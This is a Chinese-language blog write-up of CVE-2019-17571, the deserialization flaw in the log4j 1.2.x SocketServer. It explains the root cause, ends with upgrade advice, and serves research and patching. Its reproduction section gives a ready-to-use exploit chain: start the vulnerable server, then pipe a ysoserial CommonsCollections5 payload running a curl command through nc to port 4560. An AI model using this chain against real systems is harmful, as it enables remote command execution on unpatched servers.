log4j小于1.2.17 Deserialization vulnerability

PS: 文章仅用于研究漏洞原理,学习技术,禁止用于非法用途,否则后果自负!!!

前言

Apache Log4j是美国阿帕奇(Apache)软件基金会的一款基于Java的开源日志记录工具。本次出现漏洞就是因为log4j在启动套接口服务器后,对监听端口传入的反序列化数据没有进行过滤而造成的。

分析

当log4j启动套接字服务器时,会监听命令行传入的端口。然后创建一个SocketNode类的对象来对端口接收到的数据进行处理。
CVE-2019-17571-1
在对象初始化时,将端口接收到的数据封装为一个Object流对象。在run()方法中直接调用readObject()进行反序列化操作。
CVE-2019-17571-2
因此只要运行的log4j有可以利用的Gadget就可以执行命令了。

复现

下载commons-collections-3.1.jar,log4j-1.2.17.jar
将commons-collections-3.1.jar加入到log4j的classpath中,然后启动:

1
java -cp "log4j-1.2.17.jar:commons-collections-3.1.jar" org.apache.log4j.net.SocketServer 4560 /Users/sunu11/Downloads/apache-log4j-1.2.17/examples/lf5/InitUsingLog4JProperties/log4j.properties /Users/sunu11/Downloads/apache-log4j-1.2.17

CVE-2019-17571-3
然后直接使用ysoserial生成恶意序列化数据通过nc发送给4560端口即可看到漏洞触发,命令执行

1
▶ java -jar ysoserial-master-v0.0.5-gb617b7b-16.jar CommonsCollections5 "curl 127.0.0.1:9900" | nc 127.0.0.1 4560

CVE-2019-17571-4

修复建议

Apache官方已在新版本修复了该漏洞,Apache Log4j 1.2 版本官方已于2015年8月停止维护,建议升级到 2.8.2 或更高版本

参考:

https://mp.weixin.qq.com/s/RLvvzKbBwKp-War98pvn9w
https://mp.weixin.qq.com/s/okU2y0izfnKXXtXG3EfLkQ
感谢c0ny1大佬与清水川崎大佬指点

-------------本文结束感谢您的阅读-------------